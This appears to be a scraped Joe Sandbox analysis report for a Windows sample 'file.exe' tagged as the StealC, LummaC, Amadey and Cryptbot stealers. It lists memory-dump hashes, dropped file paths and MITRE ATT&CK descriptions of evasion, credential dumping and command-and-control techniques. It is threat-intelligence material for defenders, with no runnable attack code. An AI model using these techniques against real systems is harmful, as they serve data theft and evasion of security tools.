Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 70e48b9b4c059a7ac2c2f1c23004ba468bcf234f065b7eead1bae1209599e99f
Instruction ID: 17704c292ffd0ea5a058ce13f17ed074e2c435de6ac78f852b8bc71c69f2670b
Opcode Fuzzy Hash: 70e48b9b4c059a7ac2c2f1c23004ba468bcf234f065b7eead1bae1209599e99f
Instruction Fuzzy Hash: A801DDB1A0024157E721173F9F045A67AACEF5335DB010571EC1DC2E22D730C849C6D6

Function 6C711EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C711ECE
free.MOZGLUE(?), ref: 6C711EDF
free.MOZGLUE(?), ref: 6C711EEF
free.MOZGLUE(?), ref: 6C711EF5

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4a742d53d7d7b0a8e7363f7e809561191b0b35274f61b430359f8c48b49072b4
Instruction ID: 0b3e71d813b298dfe7c5b150be5029ab9da8021705287799ac23f6adab64702f
Opcode Fuzzy Hash: 4a742d53d7d7b0a8e7363f7e809561191b0b35274f61b430359f8c48b49072b4
Instruction Fuzzy Hash: 74F0B4B57055016BEB509B65DC45D27776CEF45599B080434EC09C7E00D729F414C6E1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AECFCAAE

C:\ProgramData\FBKECFIIEHCFHIECAFBAKJJDGD

C:\ProgramData\HCAEHDHDAKJEBGCBKKJE

C:\ProgramData\HCAEHDHDAKJEBGCBKKJEBGDGII

C:\ProgramData\JKEGIDGD

C:\ProgramData\KECGHIJDGCBKECAAKKEC

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre